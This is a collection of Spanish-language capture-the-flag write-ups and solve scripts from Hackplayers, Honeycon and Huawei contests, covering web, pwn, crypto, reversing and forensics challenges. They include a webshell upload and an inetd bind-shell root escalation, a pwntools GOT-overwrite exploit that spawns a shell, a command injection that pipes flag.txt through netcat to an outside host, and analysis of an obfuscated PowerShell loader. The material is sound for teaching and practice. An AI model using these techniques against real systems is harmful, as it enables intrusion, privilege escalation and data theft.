https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/jax/img/jax-responder1.png -------------------------------------------------------------------------------- /hackplayers-2018/jax/img/jax-winexe.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/jax/img/jax-winexe.png -------------------------------------------------------------------------------- /hackplayers-2018/jax/img/jax-wireshark-cepheus.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/jax/img/jax-wireshark-cepheus.png -------------------------------------------------------------------------------- /hackplayers-2018/josie/img/josie-hnb.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/josie/img/josie-hnb.png -------------------------------------------------------------------------------- /hackplayers-2018/josie/img/josie-upload.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/josie/img/josie-upload.png -------------------------------------------------------------------------------- /hackplayers-2018/josie/img/josie-web1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/josie/img/josie-web1.png -------------------------------------------------------------------------------- /hackplayers-2018/sammy/README.md: -------------------------------------------------------------------------------- 1 | # CTF Hackplayers 2018 - Sammy 2 | 3 | Maquina ‘Sammy’ 10.42.0.153 4 | 5 | ```bash 6 | $ nmap -sV 10.42.0.153 7 | PORT STATE SERVICE VERSION 8 | 22/tcp open ssh OpenSSH 6.6.1_hpn13v11 (FreeBSD 20140420; protocol 2.0) 9 | 80/tcp open http Apache httpd 2.4.18 ((FreeBSD) PHP/5.6.19) 10 | 3306/tcp open mysql MySQL (unauthorized) 11 | ``` 12 | 13 | El servicio http aloja una aplicación wordpress. En la página de contacto se encuentra un file uploader que podemos utilizar para subir una webshell. 14 | 15 | Esta webshell se almacena en el directorio */wp-content/uploads/*. 16 | 17 | ![](img/sammy-shell.png) 18 | 19 | Una vez tenemos acceso al servidor, vemos que existe un usuario bob. Por lo que probamos a acceder con la contraseña *KsupesLd819/* conseguida anteriormente en la máquina Cisco. 20 | 21 | Si utilizamos `sudo -l` podemos ver como el usuario *bob* tiene permisos para reiniciar la maquina. Por lo que sospechamos que la elevación podría hacerse modificando algunos de los servicios que arrancan al iniciar la máquina. 22 | 23 | En este caso el servicio vulnerable es *inetd*, ya que los permisos del archivo */etc/inetd.conf* nos permiten modificarlo. 24 | 25 | Modificamos el archivo de configuración *inetd.conf* para montar una bind shell en el puerto 21 correspondiente al servicio ftp. 26 | 27 | ``` 28 | ftp stream tcp nowait root /bin/sh -i 29 | ``` 30 | 31 | Después de modificar la configuración, reiniciamos la maquina, ya que es la única forma que tenemos de reiniciar el servicio con la nueva configuración. 32 | 33 | ```bash 34 | $ sudo reboot 35 | ``` 36 | 37 | Una vez reiniciada la máquina, nos conectamos al puerto 21 y obtenemos una shell con el usuario root. 38 | 39 | ![](img/sammy-root.png) 40 | -------------------------------------------------------------------------------- /hackplayers-2018/sammy/img/sammy-root.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/sammy/img/sammy-root.png -------------------------------------------------------------------------------- /hackplayers-2018/sammy/img/sammy-shell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/hackplayers-2018/sammy/img/sammy-shell.png -------------------------------------------------------------------------------- /hackplayers-2020/dream-agenda/README.md: -------------------------------------------------------------------------------- 1 | # Hackplayers H-c0n Quals 2020 - Dream Agenda - Exploiting - 332 Points 2 | 3 | Aprovechamos una vulnerabilidad en la aplicación que nos permite introducir números negativos. 4 | 5 | Obtenemos de la GOT la dirección de *puts* en la libc. Utilizando una base de datos de versiones de libc encontramos que versión se utiliza en el sistema objetivo. 6 | 7 | ``` 8 | ./find puts 0x7f8763787690 9 | ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) 10 | archive-glibc (id libc6_2.23-0ubuntu11_amd64) 11 | ``` 12 | 13 | Obtenemos las direcciones de memoria en la libc de las funciones *atoi* y *system*, y calculamos el offset entre ambas. 14 | 15 | ``` 16 | ./dump libc6_2.23-0ubuntu11_amd64 atoi 17 | offset_atoi = 0x0000000000036e80 18 | 19 | ./dump libc6_2.23-0ubuntu11_amd64 system 20 | offset_system = 0x0000000000045390 21 | ``` 22 | 23 | `offset_atoi_system = 0xe510` 24 | 25 | Modificamos en la tabla GOT la dirección a la que apunta la función *atoi* para que apunte a *system*. 26 | 27 | [solve.py](solve.py) 28 | -------------------------------------------------------------------------------- /hackplayers-2020/dream-agenda/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | import sys 4 | from pwn import * 5 | 6 | def get_number(i): 7 | p.sendline('4') 8 | s = p.recv() 9 | p.sendline('%d' % int(i)) 10 | num = p.recvline() 11 | p.recvuntil('>> ') 12 | if 'Cannot show that number!' in num: 13 | return -1 14 | elif 'Number:' in num: 15 | return int(num.split(':')[1].strip()) 16 | 17 | def edit_number(i, num): 18 | p.sendline('2') 19 | s = p.recv() 20 | p.sendline('%d' % int(i)) 21 | res = p.recv() 22 | if 'Cannot edit that number!' in res: 23 | return 0 24 | p.sendline('%d' % int(num)) 25 | res = p.recvline() 26 | p.recvuntil('>> ') 27 | if 'Number edited succesfully' in res: 28 | return 1 29 | return 0 30 | 31 | 32 | elf = ELF('./dream_agenda') 33 | 34 | if sys.argv[1]=='local': 35 | p = process('./dream_agenda') 36 | libc = ELF('./libc-local.so.6') 37 | system_offset = libc.symbols['system'] - libc.symbols['atoi'] 38 | elif sys.argv[1]=='remote': 39 | p = remote('ctf.h-c0n.com', 60001) 40 | system_offset = 0xe510 # libc6_2.23-0ubuntu11_amd64 41 | else: 42 | exit() 43 | 44 | atoi = elf.got['atoi'] 45 | numbers = elf.symbols['numbers'] 46 | 47 | log.info("atoi: " + hex(atoi)) 48 | log.info("number[]: " + hex(numbers)) 49 | 50 | s = p.recvuntil('>> ') 51 | 52 | ATOI = get_number((atoi - numbers)/8) 53 | log.info("ATOI address: " + hex(ATOI)) 54 | 55 | SYSTEM = ATOI + system_offset 56 | edit_number((atoi - numbers)/8, SYSTEM) 57 | 58 | p.sendline('/bin/sh') 59 | p.sendline('ls -l flag') 60 | print(p.recv()) 61 | p.sendline('cat flag') 62 | print(p.recv()) 63 | 64 | p.close() 65 | -------------------------------------------------------------------------------- /hackplayers-2020/kojo-no-mai/README.md: -------------------------------------------------------------------------------- 1 | # Hackplayers H-c0n Quals 2020 - Kojo No Mai - Crypto - 200 Points 2 | 3 | Como ennciado del reto tenemos una clave pública de RSA y textos cifrados y codificados en base64. 4 | 5 | ``` 6 | -----BEGIN PUBLIC KEY----- 7 | MCwwDQYJKoZIhvcNAQEBBQADGwAwGAIRAOSpZLB7VXE7iZA72YTS85UCAwEAAQ== 8 | -----END PUBLIC KEY----- 9 | 10 | XnZvSmNqZqz+N5LL+ec6XA== 11 | k4TD9AHouSlxdn97PXfmOg== 12 | FhHp7W1orCt78mlz5PNGBQ== 13 | a5FPpzeDX29qOriH2kS64A== 14 | XCWOYhWFC6v3wa3qM58v5g== 15 | qlLYhsaMWbOvCXddqsQ/pA== 16 | i1jClSfyTf8XLiT57Su6IQ== 17 | DZbTy4vMKW0WqjrD7CspMg== 18 | ``` 19 | 20 | Con *openssl* obtenemos los parámetros de la clave privada RSA. 21 | 22 | ```bash 23 | openssl rsa -in pub -pubin -text -noout 24 | 25 | RSA Public-Key: (128 bit) 26 | Modulus: 27 | 00:e4:a9:64:b0:7b:55:71:3b:89:90:3b:d9:84:d2: 28 | f3:95 29 | Exponent: 65537 (0x10001) 30 | ``` 31 | 32 | `n = 0x00e4a964b07b55713b89903bd984d2f395 = 303943523431340122197231114949456229269` 33 | 34 | Factorizamos este número, en este caso utilizamos . 35 | 36 | `303943523431340122197231114949456229269<39> = 16894353763414259897<20> · 17990834552639007677<20>` 37 | 38 | 39 | Desciframos con RSA cada uno de los trozos, observamos que solo los últimos 5 caracteres de cada trozo forman parte de la flag. 40 | 41 | ```python 42 | import gmpy 43 | from base64 import b64decode 44 | 45 | n = 0x00e4a964b07b55713b89903bd984d2f395 46 | p = 16894353763414259897 47 | q = 17990834552639007677 48 | e = 65537 49 | 50 | assert p*q==n 51 | 52 | phi = (p - 1) * (q - 1) 53 | d = int(gmpy.invert(e, phi)) 54 | #d = 294756161789557849827579195158651733121 55 | 56 | cc = '' 57 | for c64 in ['XnZvSmNqZqz+N5LL+ec6XA==', 'k4TD9AHouSlxdn97PXfmOg==', 'FhHp7W1orCt78mlz5PNGBQ==', 'a5FPpzeDX29qOriH2kS64A==', 'XCWOYhWFC6v3wa3qM58v5g==', 'qlLYhsaMWbOvCXddqsQ/pA==', 'i1jClSfyTf8XLiT57Su6IQ==', 'DZbTy4vMKW0WqjrD7CspMg==']: 58 | c = int(b64decode(c64).encode('hex'), 16) 59 | m = pow(c,d,n) 60 | mh = hex(m)[2:-1] 61 | if len(mh)%2==1: 62 | mh = '0' + mh 63 | cc += mh.decode('hex')[-5:] 64 | 65 | print(cc) 66 | ``` 67 | 68 | `H-c0n{1aa36c2eb49a2f427e57c715bda839e6}` 69 | -------------------------------------------------------------------------------- /hackplayers-2020/move-the-flag/README.md: -------------------------------------------------------------------------------- 1 | # Hackplayers H-c0n Quals 2020 - Mov(e) the flag - Reversing - 374 Points 2 | 3 | El binario esta ofuscado utilizando [movfuscator](https://github.com/xoreaxeaxeax/movfuscator) 4 | 5 | Adaptamos el script de este writeup 6 | 7 | Utilizamos `perf` para contar el número de instrucciones en cada ejecución del proceso. 8 | La principal diferencia con el otro reto, es que antes de comprobar cada caracter de la flag, se comprueba que la longitud sea de 39. 9 | 10 | [solve.py](solve.py) 11 | 12 | ### Get flag length 13 | ``` 14 | [+] 29 - 150164 15 | [+] 30 - 150165 16 | [+] 31 - 150165 17 | [+] 32 - 150165 18 | [+] 33 - 150166 19 | [+] 34 - 150164 20 | [+] 35 - 150165 21 | [+] 36 - 150164 22 | [+] 37 - 150167 23 | [+] 38 - 150162 24 | [+] 39 - 163962 25 | FLAG LENGTH: 39 26 | ``` 27 | 28 | ### Get flag 29 | ``` 30 | [+] 0 - 686015 31 | [+] 1 - 686015 32 | [+] 2 - 708714 33 | [+] 3 - 686017 34 | [+] 4 - 686015 35 | [+] 5 - 686016 36 | [+] 6 - 686016 37 | [+] 7 - 686016 38 | [+] 8 - 686018 39 | [+] 9 - 686016 40 | [+] a - 686015 41 | [+] b - 686016 42 | [+] c - 686016 43 | [+] d - 686017 44 | [+] e - 686015 45 | [+] f - 686017 46 | [+] } - 686015 47 | RESULT: H-c0n{bdd0fbdbefa8e89f42 48 | ``` 49 | 50 | `H-c0n{bdd0fbdbefa8e89f421140836280a568}` -------------------------------------------------------------------------------- /hackplayers-2020/move-the-flag/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2 2 | 3 | from subprocess import * 4 | import string 5 | import sys 6 | 7 | command = "perf stat -x : -e instructions:u " + sys.argv[1] + " 1>/dev/null" 8 | 9 | letters = string.printable 10 | letters = '0123456789abcdef}' 11 | 12 | LEN = None 13 | #LEN = 39 14 | flag = 'H-c0n{' 15 | #flag = 'H-c0n{bdd0fbdbefa8e89f421140836280a568}' 16 | 17 | 18 | if LEN is None: 19 | ins_count = 0 20 | LEN = '' 21 | for i in range(40): 22 | target = Popen(command, stdout=PIPE, stdin=PIPE, stderr=STDOUT, shell=True) 23 | target_output, _ = target.communicate(input='%s\n'%('A'*i)) 24 | instructions = int(target_output.split(':')[0]) 25 | print('\r[+] %s - %d' % (i, instructions)) 26 | if instructions > ins_count: 27 | LEN = i 28 | ins_count = instructions 29 | print('FLAG LENGTH: %02d\n' % LEN) 30 | 31 | while len(flag) ins_count: 40 | count_chr = i 41 | ins_count = instructions 42 | 43 | flag += count_chr 44 | print('RESULT: %s\n' % flag) 45 | -------------------------------------------------------------------------------- /honeycon-2018/rev4/README.md: -------------------------------------------------------------------------------- 1 | # CTF honeycon 2018 - rev4 2 | 3 | Este reto de reversing consiste en encontrar un código válido que cumpla determinadas condiciones. 4 | 5 | [rev4](rev4) 6 | 7 | Abrimos el binario con radare. 8 | 9 | ```bash 10 | r2 -AA rev4 11 | ``` 12 | 13 | Con `afl` obtenemos el listado de funciones. 14 | 15 | ```bash 16 | [0x00400530]> afl 17 | 0x00400498 3 26 sym._init 18 | 0x004004d0 1 6 sym.imp.puts 19 | 0x004004e0 1 6 sym.imp.strlen 20 | 0x004004f0 1 6 sym.imp.__stack_chk_fail 21 | 0x00400500 1 6 sym.imp.printf 22 | 0x00400510 1 6 sym.imp.__libc_start_main 23 | 0x00400520 1 6 sub.__gmon_start_520 24 | 0x00400530 1 41 entry0 25 | 0x00400560 4 50 -> 41 sym.deregister_tm_clones 26 | 0x004005a0 4 58 -> 55 sym.register_tm_clones 27 | 0x004005e0 3 28 sym.__do_global_dtors_aux 28 | 0x00400600 4 38 -> 35 entry1.init 29 | 0x00400626 12 399 main 30 | 0x004007c0 4 101 sym.__libc_csu_init 31 | 0x00400830 1 2 sym.__libc_csu_fini 32 | 0x00400834 1 9 sym._fini 33 | ``` 34 | 35 | Desensamblamos la función main, ya sea con `pdf @ main` o `VV @ main` para verlo en modo gráfico. 36 | 37 | ```bash 38 | [0x00400530]> VV @ main 39 | ``` 40 | 41 | ![](img/r2-VV-main.png) 42 | 43 | La estructura de la función es bastante simple, se procesa el argumento de entrada en un bucle y al finalizar se evalua. Si el resultado es no es correcto se salta a *0x40077f*, en cambio si es correcto la función llega hasta *0x400773*. 44 | 45 | ![](img/r2-VV.png) 46 | 47 | Usamos *angr* para resolver la prueba. 48 | 49 | [solve.py](solve.py) 50 | ```python 51 | p = angr.Project("rev4", auto_load_libs=False) 52 | 53 | sym_arg = claripy.BVS('sym_arg', 8*7) 54 | 55 | argv = [p.filename] 56 | argv.append(sym_arg) 57 | initial_state = p.factory.entry_state(args=argv) 58 | 59 | for byte in sym_arg.chop(8): 60 | initial_state.add_constraints(byte >= '0') 61 | initial_state.add_constraints(byte <= 'z') 62 | 63 | sm = p.factory.simulation_manager(initial_state) 64 | e = sm.explore(find=0x00400773, avoid=(0x0040077f, 0x0040078b)) 65 | print(e) 66 | ``` 67 | 68 | ![](img/angr.png) 69 | 70 | Probamos la solución en el binario. 71 | 72 | ![](img/solve.png) 73 | -------------------------------------------------------------------------------- /honeycon-2018/rev4/img/angr.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/honeycon-2018/rev4/img/angr.png -------------------------------------------------------------------------------- /honeycon-2018/rev4/img/r2-VV-main.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/honeycon-2018/rev4/img/r2-VV-main.png -------------------------------------------------------------------------------- /honeycon-2018/rev4/img/r2-VV.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/honeycon-2018/rev4/img/r2-VV.png -------------------------------------------------------------------------------- /honeycon-2018/rev4/img/solve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/honeycon-2018/rev4/img/solve.png -------------------------------------------------------------------------------- /honeycon-2018/rev4/rev4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/honeycon-2018/rev4/rev4 -------------------------------------------------------------------------------- /honeycon-2018/rev4/solve.py: -------------------------------------------------------------------------------- 1 | import angr 2 | import claripy 3 | import sys 4 | 5 | p = angr.Project("rev4", auto_load_libs=False) 6 | 7 | sym_arg_size = int(sys.argv[1]) 8 | sym_arg = claripy.BVS('sym_arg', 8*sym_arg_size) 9 | 10 | argv = [p.filename] 11 | argv.append(sym_arg) 12 | initial_state = p.factory.entry_state(args=argv) 13 | 14 | init = '' 15 | 16 | i = 0 17 | for byte in sym_arg.chop(8): 18 | if i= '0') 22 | initial_state.add_constraints(byte <= 'z') 23 | i += 1 24 | 25 | sm = p.factory.simulation_manager(initial_state) 26 | e = sm.explore(find=0x00400773, avoid=(0x0040077f, 0x0040078b)) 27 | 28 | print(e) 29 | 30 | if len(e.found) > 0: 31 | s = e.found[0] 32 | results = s.solver.eval_upto(argv[1], 100) 33 | if len(results)>0: 34 | print("[+] Found %d solutions" % len(results)) 35 | for result in results: 36 | print(bytes.fromhex('%x' % result).decode('utf-8')) 37 | 38 | -------------------------------------------------------------------------------- /huawei-2018/01-abandoned-silo/README.md: -------------------------------------------------------------------------------- 1 | # Huawei CTF 2018 - Reto 1 - ABANDONED SILO 2 | ### Categoría: Web 3 | 4 | Este reto nos muestra un formulario que nos permite hacer `ping` a la ip que le introduzcamos a través de un parámetro. 5 | Como pista nos indican que la flag se encuentra en el archivo `flag.txt`. 6 | 7 | ![](img/web.png) 8 | 9 | Probamos a inyectar un comando utilizando *netcat* para establecer una conexión reversa `127.0.0.1;nc reverse.sistec.es 8080`. 10 | 11 | Verificamos que la conexión reversa se establece, la usamos para extraer el contenido del archivo `flag.txt` 12 | ```bash 13 | 127.0.0.1;cat flag.txt|nc reverse.sistec.es 8080 14 | ``` 15 | 16 | Recibimos en nuestro servidor la conexión con la flag. 17 | 18 | ![](img/flag.png) 19 | -------------------------------------------------------------------------------- /huawei-2018/01-abandoned-silo/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/01-abandoned-silo/img/flag.png -------------------------------------------------------------------------------- /huawei-2018/01-abandoned-silo/img/web.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/01-abandoned-silo/img/web.png -------------------------------------------------------------------------------- /huawei-2018/01-abandoned-silo/source.php: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | Blind Flag ! 10 | 11 | 12 | 13 | 17 | 18 | 19 | 20 |
21 |
22 |
23 | Blind flag! 24 |
25 |
26 | 29 |
30 |
31 | 32 |
33 |

Ping 127.0.0.1

34 |

Recupera el contenido de flag.txt en el servidor

35 | 36 | Host is alive!
"); 42 | } 43 | else { 44 | echo("
Host is down!
"); 45 | } 46 | } 47 | ?> 48 |
49 |
50 | 51 | 52 |
53 | 54 |
55 |
56 | 57 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /huawei-2018/02-paranormalglitch/README.md: -------------------------------------------------------------------------------- 1 | # Huawei CTF 2018 - Reto 2 - PARANORMALGLITCH 2 | ### Categoría: Forense 3 | 4 | El reto consiste en encontrar la flag en una imagen JPG. Por comodidad usaremos `gatos.jpg` como nombre del archivo a analizar. 5 | 6 | ![](img/gatos.png) 7 | 8 | El archivo tiene un tamaño de `670081 bytes`. 9 | 10 | ```bash 11 | file gatos.jpg 12 | gatos.jpg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, progressive, precision 8, 1920x1024, frames 3 13 | ``` 14 | 15 | Usamos algunas herramientas de busqueda de firmas como son *binwalk*, *photorec* o *foremost*. 16 | 17 | En el caso de *foremost* obtenemos la misma imagen JPG, pero con un tamaño de `196951 bytes`. Esto nos hace sospechar que hay otro archivo o datos importantes después de la imagen JPG. 18 | 19 | Extraemos los datos a partir del offset 196951 20 | 21 | ```bash 22 | dd if=gatos.jpg of=part2 bs=1 skip=196951 23 | ``` 24 | 25 | Analizamos este nuevo archivo `part2`. Rápidamente observamos la existencia de los strings *IHDR* y *IDAT*, por lo que posiblemente nos encontramos con una imagen PNG. 26 | 27 | ``` 28 | xxd part2 |head 29 | 00000000: 0d0a 1a0a 0000 000d 4948 4452 0000 0400 ........IHDR.... 30 | 00000010: 0000 0288 0806 0000 00ee 2e88 0c00 0000 ................ 31 | 00000020: 0662 4b47 4400 ff00 ff00 ffa0 bda7 9300 .bKGD........... 32 | 00000030: 0020 0049 4441 5478 daec dde9 93a4 5776 . .IDATx......Wv 33 | 00000040: dff7 efbd f759 72ab acbd 7a43 3730 0007 .....Yr...zC70.. 34 | 00000050: 98c1 7048 0ec5 4594 4c29 4221 4b61 5bf2 ..pH..E.L)B!Ka[. 35 | 00000060: a208 ff3d e2df e1b0 432f 1cb2 23ec b06c ...=....C/..#..l 36 | 00000070: 5914 456d 2629 919c 2139 43ce 7008 6200 Y.Em&)..!9C.p.b. 37 | 00000080: 34d0 68f4 5a5d 5d6b aecf 72ef f58b 2733 4.h.Z]]k..r...'3 38 | 00000090: 2bbb d0d5 682c 33e8 46ff 3e98 8cca caaa +...h,3.F.>..... 39 | ``` 40 | 41 | Comparamos este inicio del archivo con otro archivo PNG o con el ejemplo que aparece en Wikipedia. 42 | 43 | ![](img/png-hex.png) 44 | 45 | Vemos como nos faltan los 4 primeros bytes de la cabecera PNG (por este motivo los programas de recuperación de datos no identifican el archivo PNG). 46 | Los añadimos con *xxd* y *cat*. 47 | 48 | ```bash 49 | echo 89504e47 | xxd -ps -r > pngheader 50 | cat pngheader part2 > image.png 51 | ``` 52 | 53 | Esta imagen no esta 100% correcta y no se abre con todos los softwares, aun así es posible visualizarla con *GIMP* y obtener la flag. 54 | 55 | ![](img/gatos-flag.png) -------------------------------------------------------------------------------- /huawei-2018/02-paranormalglitch/img/gatos-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/02-paranormalglitch/img/gatos-flag.png -------------------------------------------------------------------------------- /huawei-2018/02-paranormalglitch/img/gatos.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/02-paranormalglitch/img/gatos.png -------------------------------------------------------------------------------- /huawei-2018/02-paranormalglitch/img/png-hex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/02-paranormalglitch/img/png-hex.png -------------------------------------------------------------------------------- /huawei-2018/03-backdoors_01/README.md: -------------------------------------------------------------------------------- 1 | # Huawei CTF 2018 - Reto 3 - BACKD00RS_01 2 | ### Categoría: Forense 3 | 4 | Estos retos se basan en analizar una Maquina Virtual infectada que utiliza el sistema operativo Ubuntu 16.04. 5 | 6 | Una vez accedemos con el usuario `ctf`, utilizamos el comando `su` para acceder como administradores de la maquina y analizarla mas exhaustivamente. 7 | 8 | En un primer momento obtenemos un mensaje de error, que nos indica que hay algo troyanizado. 9 | 10 | ![](img/vm-error.png) 11 | 12 | Al final del archivo `.bashrc` tenemos un ejecutable, con un intento de ocultación después de muchos saltos de linea. 13 | 14 | ``` 15 | /bin/sh311.x 16 | ``` 17 | 18 | Analizamos este binario y con `ltrace` observamos como genera el string de la flag. 19 | 20 | ![](img/vm-flag.png) -------------------------------------------------------------------------------- /huawei-2018/03-backdoors_01/img/vm-error.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/03-backdoors_01/img/vm-error.png -------------------------------------------------------------------------------- /huawei-2018/03-backdoors_01/img/vm-flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/03-backdoors_01/img/vm-flag.png -------------------------------------------------------------------------------- /huawei-2018/04-backdoors_02/README.md: -------------------------------------------------------------------------------- 1 | # Huawei CTF 2018 - Reto 4 - BACKD00RS_02 2 | ### Categoría: Forense 3 | 4 | El segundo backdoor se encuentra al utilizar `ps` para ver los procesos en ejecución. 5 | 6 | ![](img/vm-ps.png) 7 | 8 | El binario infectado es `/bin/ls` 9 | 10 | ![](img/vm-ls.png) 11 | 12 | Analizamos el binario ```/usr/sbin/psl``` y con `strings` obtenemos un texto en base64. 13 | 14 | ``` 15 | Watch this: dV9SVAETWkATdX9ydEgDCwQAVQZSCgsFClBVVgJSBQNQVwACAlcDV1cAB1IBCk45Cg== 16 | ``` 17 | 18 | Con *Auto Solver* de las PatataUtils *desciframos* el contenido del base64 y obtenemos la flag. 19 | 20 | De la forma complicada, el texto hay que descifrarlo/decodificarlo con XOR *0x33*. 21 | 22 | ![](img/vm-autosolver.png) 23 | -------------------------------------------------------------------------------- /huawei-2018/04-backdoors_02/img/vm-autosolver.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/04-backdoors_02/img/vm-autosolver.png -------------------------------------------------------------------------------- /huawei-2018/04-backdoors_02/img/vm-ls.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/04-backdoors_02/img/vm-ls.png -------------------------------------------------------------------------------- /huawei-2018/04-backdoors_02/img/vm-ps.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/04-backdoors_02/img/vm-ps.png -------------------------------------------------------------------------------- /huawei-2018/05-cybercrime101/README.md: -------------------------------------------------------------------------------- 1 | # Huawei CTF 2018 - Reto 5 - CYBERCRIME101 2 | ### Categoría: Forense 3 | 4 | En este reto nos piden analizar el malware `do_not_remove.bat` para encontrar la flag. 5 | 6 | En un primer analisis descubrimos que se trata de un script de powershell que ejecuta algo que esta codificado en Base64. 7 | 8 | ```powershell 9 | Invoke-Expression $(New-Object IO.StreamReader ( 10 | $(New-Object IO.Compression.DeflateStream ( 11 | $(New-Object IO.MemoryStream (, 12 | $([Convert]::FromBase64String("...")))), 13 | [IO.Compression.CompressionMode]::Decompress)), 14 | [Text.Encoding]::ASCII)).ReadToEnd(); 15 | ``` 16 | 17 | Decodificamos el texto en base64 y obtenemos algo binario, si nos fijamos en el código vemos como el siguiente paso es user la función `CompressionDeflateStream`. 18 | 19 | ```bash 20 | base64 -d b64.txt > bin 21 | printf "\x1f\x8b\x08\x00\x00\x00\x00\x00\x00\x00" |cat - bin |gzip -dc > code 22 | ``` 23 | 24 | ![](img/malwarecode.png) 25 | 26 | Los mas sospechoso de este código es la la cadena hexadecimal que se envía en el User-Agent. Tras unas cuanto intentos de decodificarla, se llega a la conclusión de que se trata de otro gzip al comenzar con los bytes `1f 8b 08 00`. 27 | 28 | ```bash 29 | echo 1f8b08004b17425b0003f32f4ab70acd4d2a4acdc949b456f0c82f2eb10a700cb756082d4e2db24ac9cf4dcccc4b4cc9cdccb35670cb494cb772f37174af4e4e4a4b3233374b4d4c363632304f364849324d31324f33b54c35354e333432ab05006811b54b55000000 |xxd -ps -r |gzip -dc 30 | Org:Umbrella; Host:PAW; User:domainadmin; Flag:FLAG{cbfb676eac3207c0db5d27f59e53f126} 31 | ``` -------------------------------------------------------------------------------- /huawei-2018/05-cybercrime101/img/malwarecode.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/05-cybercrime101/img/malwarecode.png -------------------------------------------------------------------------------- /huawei-2018/06-armoured-kitten/img/angr-solve.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/06-armoured-kitten/img/angr-solve.png -------------------------------------------------------------------------------- /huawei-2018/06-armoured-kitten/img/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/06-armoured-kitten/img/flag.png -------------------------------------------------------------------------------- /huawei-2018/06-armoured-kitten/img/flag2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/06-armoured-kitten/img/flag2.png -------------------------------------------------------------------------------- /huawei-2018/06-armoured-kitten/img/reversing-arm.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/06-armoured-kitten/img/reversing-arm.png -------------------------------------------------------------------------------- /huawei-2018/06-armoured-kitten/img/xrays.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/06-armoured-kitten/img/xrays.png -------------------------------------------------------------------------------- /huawei-2018/06-armoured-kitten/re1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/jesux/ctf-write-ups/d88e6dc0f6dcf009e897b3ee3eb833398da4e7a6/huawei-2018/06-armoured-kitten/re1 -------------------------------------------------------------------------------- 